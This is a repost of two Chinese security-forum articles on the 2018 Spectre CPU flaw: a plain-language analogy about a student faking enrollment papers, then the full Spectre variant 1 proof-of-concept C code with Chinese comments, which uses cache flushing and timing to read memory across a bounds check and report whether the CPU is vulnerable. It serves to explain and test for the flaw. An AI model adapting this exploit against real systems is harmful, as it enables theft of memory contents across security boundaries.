通俗理解這次的CPU漏洞,附帶修改過帶註釋原始碼一份
通俗理解這次的CPU漏洞
文 | 軒轅之風
看雪論壇
技術分析想必大家已經看了不少,我來一個最簡單好理解的例子:
生活例項:新生入學報導
(為簡化問題,假設今天只有你一個人去學校報導,並且學校工作人員都是250)
開學去學校報導,三個步驟(三條CPU指令):
1)憑藉錄取通知書去領學號
2)憑藉領取到的學號去領寢室號
3)憑藉領取到的寢室號去領寢室鑰匙
開學了,你撿到一張錄取通知書,通知書編號是1001,然後去拿著它去學校報導,報導工作處有三個工作人員甲乙丙。甲負責直接和你互動,甲拿到你的入學通知書後開始查詢你的學號,然後填寫表格,然後把學號給你。
與此同時,工作人員乙拿到甲查到的學號後,去表格中查你對應的寢室號,等甲辦完以後直接交給你。
還是與此同時,工作人員丙拿到乙查到的寢室號後開始去庫房的鑰匙櫃架取出你的鑰匙放在辦公桌(同時,為了避免等會又跑一趟,它把這棟樓這一層的鑰匙盒直接拿到辦公室了,等會就不用再去庫房奔波了),等乙辦完以後就交給你。
但是,這個時候,甲發現你身份有問題,這不是你的錄取通知書,不能給你辦理入學手續,不能把學號給你。於是你被打回。
可是:乙已經提前幫你把對應學號的寢室號取到了(只是還沒給你),丙也已經提前幫你把對應寢室的鑰匙給你拿到了(只是還沒給你)
好,你被拒絕辦理入學了,因為你是假冒的。
實際上,你已經是在校生了,不是大一新生,剛才你是故意去假冒大一新生去報導。
這個時候,你去丙的辦公室借鑰匙。往常丙都是說你等一下,我去給你拿,然後會等差不多五分鐘,丙給你拿來鑰匙。但今天不同的是,今天沒有等那麼久,而是直接就把鑰匙取出來了給你,全程不超過10秒鐘。
於是,你明白了,一定是我剛才假冒去甲辦理入學的時候,丙把鑰匙盒取過來的,於是你意識到:我開始撿到的1001號的錄取通知書新生住在我們這棟樓這一層。
於是,你如法炮製,偽造1002,1003,1999···號錄取通知書去報導,然後知道了他們每個人住在哪一棟那一層。
原文連結:https://bbs.pediy.com/thread-223836.htm
——————————————————————
最近比較火的CPU漏洞解析,附帶修改過帶註釋原始碼一份
文 | CSZQ
看雪論壇
先說結果,由於CPU亂序執行和分支預測功能,可以通過判斷需要讀取的頁面是否被 cache 快取來判斷記憶體中存在什麼內容。
簡單粗暴,直接上本帥改過的程式碼,含中文註釋,不謝。
另外膜拜下這份原始碼的大神。
/* modify by:CSZQ */ /* 配置 */ #define __DEBUG 0 // 除錯模式開關,會開啟額外輸出 #define __TRYTIMES 50 // 每個字元嘗試讀取次數 /* 測試讀取的資料 */ #define __MAGICWORDS "1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" #define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) // 測試資料長度 /* cache 命中閥值,是一個經驗值,不成功9.9可能這裡不對,預設值 50 ,可以通過 -t 傳參修改 該數值與記憶體質量、CPU多項引數有關,是一個經驗值,下面給出一些基於本帥移動端的 CPU Intel I7-4700MQ 給出的引數取值 取值大致範圍:16 - 176 */ #define CACHE_HIT_THRESHOLD (50) /* 標頭檔案 */ #include #include #include #include #pragma optimize("gt",on) /* 全域性變數 */ unsigned int array1_size = 16; // 排除 ASCII 碼錶前 16 個字元 uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // 一個字典 uint8_t array2[256 * 512]; // 256 對應 ASCII 碼錶 const char *secret = __MAGICWORDS; // 測試讀取的資料 int iThreshold = CACHE_HIT_THRESHOLD; // 讀取時間閥值 /* 使用 temp 全域性變數阻止編譯器優化 victim_function() */ uint8_t temp = 0; void victim_function(size_t x) { /* x 取值 0 - 15 時 獲取 arrary2 的 1 - 16 分組 & temp 後賦值給 temp temp 一直為 0 發生 evil 分支預測: array1[x] 在 5 次分支預測時載入的值就是當前需要讀取的虛擬地址 array2[array1[x] * 512] 在 5 次分支預測期間讀取的是 標準ASCII 0 - 127 * 512 所在地址的 array2 陣列內容 其他分支預測: array1[x] cache 中的是根據嘗試次數獲取到的正常 array1 陣列標準值 array2[array1[x] * 512] 在cache中快取的是 ASCII 碼錶 1 - 16 號字元 */ if (x < array1_size) { temp &= array2[array1[x] * 512]; } } void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { static int results[256]; // 對應 ASCII 碼錶 int tries, i, j, k, mix_i; unsigned int junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) results[i] = 0; /* 每個字元多次嘗試獲取以增加成功率 */ for (tries = __TRYTIMES; tries > 0; tries--) { /* 清空 array2 的每 512 位元組首地址 cache */ for (i = 0; i < 256; i++) _mm_clflush(&array2[i * 512]); // _mm_clflush:Invalidate and flush the cache line that contains p from all levels of the cache hierarchy training_x = tries % array1_size; /* 訓練 CPU 快取需要的資料 */ for (j = 29; j >= 0; j--) { _mm_clflush(&array1_size); // 清空 array1_size 的快取 /* 100 次記憶體取值用作延時,確保 cache 頁全部換出 */ for (volatile int z = 0; z < 100; z++) {} /* 在這一步: j % 6 = 0 則 x = 0xFFFF0000 j % 6 != 0 則 x = 0x00000000 Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* 到這裡: j % 6 = 0 則 x = 0xFFFFFFFF j % 6 != 0 則 x = 0x00000000 */ x = (x | (x >> 16)); /* 最後: j % 6 = 0 則 x = malicious_x j % 6 != 0 則 x = training_x */ x = training_x ^ (x & (malicious_x ^ training_x)); /* 呼叫觸發 cache 程式碼 共計觸發 5 次,j = 24、18、12、6、0時,都會觸發分支預測 */ victim_function(x); } /* 退出此函式時 cache 中已經快取了需要越權獲取的資料 */ /* 讀取時間。執行順序輕微混淆防止 stride prediction(某種分支預測方法) i 取值 0 - 255 對應 ASCII 碼錶 */ for (i = 0; i < 256; i++) { /* TODO: 賊NB的數學遊戲,值得叫 666 167 0xA7 1010 0111 13 0x0D 0000 1101 取值結果為 0 - 255 隨機數且不重複 */ mix_i = ((i * 167) + 13) & 255; /* addr 取 arrary2 中 0-255 組的首地址 */ addr = &array2[mix_i * 512]; /* junk 儲存 TSC_AUX 暫存器值 time1 儲存當前時間戳 */ time1 = __rdtscp(&junk); /* 獲取資料,用以測試時間 */ junk = *addr; /* 記錄並獲取耗時 */ time2 = __rdtscp(&junk) - time1; /* 判斷是否命中,且 mix_i 不能取 1 - 16,因為 1 - 16 在獲取時是無效的 */ if (time2 <= iThreshold && mix_i != array1[tries % array1_size]) /* cache arrary2中的 0-255 項命中則 +1 分 */ results[mix_i]++; } /* 獲取分組中命中率最高的兩個分組,分別儲存在 j(最高命中),k(次高命中) 裡 */ j = k = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } /* 最高命中項命中次數大於 2 倍加 5 的次高命中項次數 或 僅僅最高命中項命中 2 次 則 退出迴圈,成功找到命中項 */ if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ } /* 使用 junk 防止優化輸出 */ results[0] ^= junk; value[0] = (uint8_t)j;//最高命中項 score[0] = results[j];//最高命中項命中次數 value[1] = (uint8_t)k;//次高命中項 score[1] = results[k];//次高命中項命中次數 } int main(int argc, const char **argv) { size_t malicious_x = (size_t)(secret - (char*)array1); /* 相對地址 */ int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0; char *opt, *addr; uint8_t value[2]; printf("Provide by CSZQ\n"); /* 引數解析 */ if (argc > 1) { opt = (char*)&argv[1][1]; switch (*opt) { case 'h': printf("-h help\n-t 設定閥值,建議取值 16 - 176 之間,預設 50\n"); return 0; case 't': if (argc==2) { sscanf(opt + 1, "%d", &iThreshold); } else { sscanf(argv[2], "%d", &iThreshold); } break; } } for (i = 0; i < sizeof(array2); i++) array2[i] = 1; /* 避免寫時複製 */ #if __DEBUG > 0 printf("Reading %d bytes:\n", iLen); #endif i = iLen; while (--i >= 0) { #if __DEBUG > 0 printf("讀取地址:%p ", (void*)malicious_x); #endif readMemoryByte(malicious_x++, value, score); addr = (char*)array1 + malicious_x - 1; if (value[0] == *addr) { iCount += (score[0] > 2 * score[1]) ? 1 : 0; } #if __DEBUG > 0 /* 如果最高命中項命中次數大於等於 2 倍的次高命中項,認為分支預測成功 */ printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "....")); printf("value:0x%02X char=%c counts=%d ", value[0], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]); if (score[1] > 0) printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]); printf("\n"); #endif } /* 命中次數超過 1/5 認為存在BUG,過低有可能是巧合或閥值需要調整 */ printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG!!!<---" : "--->不存在BUG<---"); printf("%d 閥值下命中率為:%d / %d\r\n", iThreshold, iCount, iLen); printf("按任意鍵退出程式...\r\n"); getchar(); return (0); }
原文連結:https://bbs.pediy.com/thread-223824.htm
更多詳情可參考看雪論壇專題帖: [討論]Intel 曝出處理器設計漏洞,影響 Linux 和 Windows 核心
相關文章
- 帶你通俗理解https2019-05-15HTTP
- 帶有Python的音訊處理(附帶原始碼)2021-02-09Python音訊原始碼
- 安卓第一個作品 檔案管理器 附原始碼帶詳細註釋2018-06-14安卓原始碼
- 一文帶你理解透MyBatis原始碼2024-06-03MyBatis原始碼
- 記一次ElementUI原始碼修改過程2020-10-08UI原始碼
- 使用darknet識別點選驗證碼詳細過程(附帶原始碼)2019-04-07原始碼
- JWT身份認證(附帶原始碼講解)2021-03-31JWT原始碼
- 劃詞高亮功能的實現附帶開原始碼2020-07-12原始碼
- Java實現連結串列帶註釋2020-12-13Java
- js帶註釋的氣泡排序演算法2024-04-17JS排序演算法
- 從程式碼生成說起,帶你深入理解 mybatis generator 原始碼2021-07-22MyBatis原始碼
- Java如何快速獲取類附帶的註解2021-09-09Java
- 設計模式系列(圖文解析,附帶原始碼) - 命令2020-10-16設計模式原始碼
- 直播帶貨app原始碼是如何應對市場挑戰的(附原始碼功能)2021-01-05APP原始碼
- 直播帶貨原始碼,android editText設定顏文字過濾2023-11-07原始碼Android
- [提問交流]下面這段程式碼中沒帶註釋的那3行是什麼意思呢?謝謝!!!2019-05-11
- 設計模式系列(圖文解析,附帶原始碼) - 模板方法2020-10-16設計模式原始碼
- 設計模式系列(圖文解析,附帶原始碼)- 空物件2020-10-16設計模式原始碼物件
- 關於直播帶貨過程中的卡頓問題,帶貨直播原始碼有話說!2020-07-06原始碼
- 原始碼完全註釋:socket select2018-10-20原始碼
- 用於前端開發的webpack4配置[帶註釋]2018-12-08前端Web
- 想要實現帶貨直播原始碼秒開?先看看這個2021-08-06原始碼
- 從原始碼層面帶你實現一個自動注入註解2021-09-13原始碼
- IDEA中修改程式碼中的註釋顏色2024-03-30Idea
- 設計模式系列(圖文解析,附帶原始碼) - 生成器2020-10-16設計模式原始碼
- 設計模式系列(圖文解析,附帶原始碼) - 介面卡2020-10-16設計模式原始碼
- 手把手教你使用easyexcel匯出資料【附帶原始碼】2024-10-25Excel原始碼
- git修改commit註釋2018-07-24GitMIT
- 直播帶貨原始碼的開發環境2020-07-20原始碼開發環境
- Bootstrap的Model原始碼詳細註釋 (轉)2018-12-31boot原始碼
- 帶著問題看redux原始碼2019-05-21Redux原始碼
- 帶你讀 MySQL 原始碼:limit, offset2023-04-10MySql原始碼MIT
- 高質量的帶貨直播原始碼應該從這四點判斷2021-03-25原始碼
- JS垃圾回收,這次可以看懂了(帶圖警告)2020-03-20JS
- 帶你讀 MySQL 原始碼:where 條件怎麼過濾記錄?2023-04-25MySql原始碼
- 帶貨直播原始碼,淺談直播實現過程和技術2021-07-28原始碼
- win10自帶顯示cpu溫度怎麼看 win10自帶的cpu檢測2022-01-14Win10
- Java 集合 ArrayList 原始碼分析(帶著問題看原始碼)2018-06-22Java原始碼
- Git 修改已提交的commit註釋2020-10-14GitMIT